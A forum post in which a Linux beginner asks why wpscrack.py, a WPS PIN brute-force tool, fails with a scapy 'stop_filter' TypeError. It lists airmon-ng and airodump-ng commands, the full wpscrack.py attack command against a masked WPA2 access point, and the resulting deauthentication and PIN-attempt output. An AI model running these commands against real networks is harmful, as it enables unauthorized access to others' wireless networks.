hello , after quick search , i dont see any thread about WPSCRACK ,so i made it for this tool.
so im a newbie linux ,but have made few try on BT.

there is my probleme / bug , i made this :

airmon-ng start wlan0
wlan0 Realtek RTL8187L rtl8187 - [phy0] (monitor mode enabled on mon0)

airodump-ng mon0 -c 1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

XX:1B:5E:B5:XX.XX -54 93 2079 37 0 1 54e WPA2 CCMP PSK ESSSID

BSSID STATION PWR Rate Lost Frames Probe

XX:1B:5E:B5:XX:XX YY:E0:C5:04:YY:YY 0 -65 0 - 1 0 8

(i got association ,and AP is WPS (tryed with reaver & FERN)

so i start attack on it :

./wpscrack.py --iface=mon0 --client YY:E0:C5:04:YY:YY --bssid XX:1B:5E:B5:XX:XX --ssid ESSSID --dh 0 -v

and i got this error :

WARNING: No route found for IPv6 destination :: (no default route?)
sniffer started
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python2.6/threading.py", line 532, in __bootstrap_inner
self.run()
File "/usr/lib/python2.6/threading.py", line 484, in run
self.__target(*self.__args, **self.__kwargs)
File "./wpscrack.py", line 516, in sniffer
sniff(store=0, stop_filter=lambda x: self.sniffer_filter(x))
File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 534, in sniff
s = L2socket(type=ETH_P_ALL, *arg, **karg)
TypeError: __init__() got an unexpected keyword argument 'stop_filter'

------------------- attempt #1
Trying 00000000
-> 802.11 deauthentication
-> 802.11 authentication request
TIMEOUT!!
-> 802.11 deauthentication
attempt took 5.062 seconds
------------------- attempt #2
Trying 00000000
-> 802.11 deauthentication
-> 802.11 authentication request
TIMEOUT!!
-> 802.11 deauthentication
attempt took 5.054 seconds


this attack work with fern & reaver , but i cant resume manually
and her auto save , dont work fine here (work 1 time ,at 2th stop attack restart to begin .... )

any one have idea about where come the probleme ?

wpscrack.py file is copyed in home floder
permissions : owner : root
acces : read & write
group : root
acces : read & write
others
acces : read & write
execute : allow executing file as program

(sorry im a newbie on linux ,all help or idea are welcome here )